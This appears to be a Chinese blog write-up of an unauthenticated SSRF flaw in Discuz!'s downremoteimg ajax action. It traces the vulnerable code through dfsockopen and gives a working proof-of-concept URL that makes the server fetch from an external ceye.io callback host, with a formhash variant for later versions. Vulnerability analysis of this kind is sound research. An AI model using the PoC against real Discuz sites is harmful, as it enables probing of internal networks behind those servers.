Discuz!另一处SSRF无须登陆无须条件

 漏洞来源：http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0151179.html

 

看看poc：http://phpstudy.com/Discuz_X2/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://11aadds332.nrcuf9.ceye.io/1.jpg[/img]

不登录也行，3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。，先注册个账号获取formhash，

http://phpstudy.com/Discuz_X2/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://11aadds332.nrcuf9.ceye.io/1.jpg[/img]&formhash=33a734cf

 

url解析的地址模块是ajax，文件是forum.php，根据这两篇解析discuz的mvc模式来看，可以确定出现漏洞的php文件/source/module/forum/forum_ajax.php

文章地址：http://www.cnblogs.com/mjm212/p/6516038.html   http://www.cnblogs.com/wellsoho/p/3723028.html

action的参数是downremoteimg。

出现在这个if判断中，一般ssrf的话有这几个关键字：curl  ， file_get_contents  ，fsockopen

在文件中搜索关键字可以看到，存在dfsockopen()

跟进dfsockopen()函数，位于/source/function/function_core.php

function dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {
	require_once libfile('function/filesock');
	return _dfsockopen($url, $limit, $post, $cookie, $bysocket, $ip, $timeout, $block);

　　继续跟进_dfsockopen() 。

对url重组，并且请求。

 

让我们在回到最初的地方看看怎么处理输入的url。

 

if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
	$content = dfsockopen($imageurl);
}

　　要满足表达式才行，http://或. 开头

 

 

$_G['gp_message'] = str_replace(array("\r", "\n"), array($_G['gp_wysiwyg'] ? '<br />' : '', "\\n"), $_G['gp_message']);
preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_G['gp_message'], $image1, PREG_SET_ORDER);
preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_G['gp_message'], $image2, PREG_SET_ORDER);

获取image1匹配到的结果。

 

 

 

					if(!$upload->is_image_ext($attach['ext'])) {
						continue;
					}

　　判断url的后缀是否是图片格式。接着

 最终形成了ssrf，ssrf对大企业比较有用，对于孤立的企业，或者放在云端的业务来说，危害不是很大。具体看服务器能访问到内网的规模和危害。

对于ssrf的利用，还有如下文章：

http://4o4notfound.org/index.php/archives/33/

https://blog.chaitin.cn/gopher-attack-surfaces/

http://joychou.org/index.php/web/phpssrf.html

http://bobao.360.cn/learning/detail/2889.html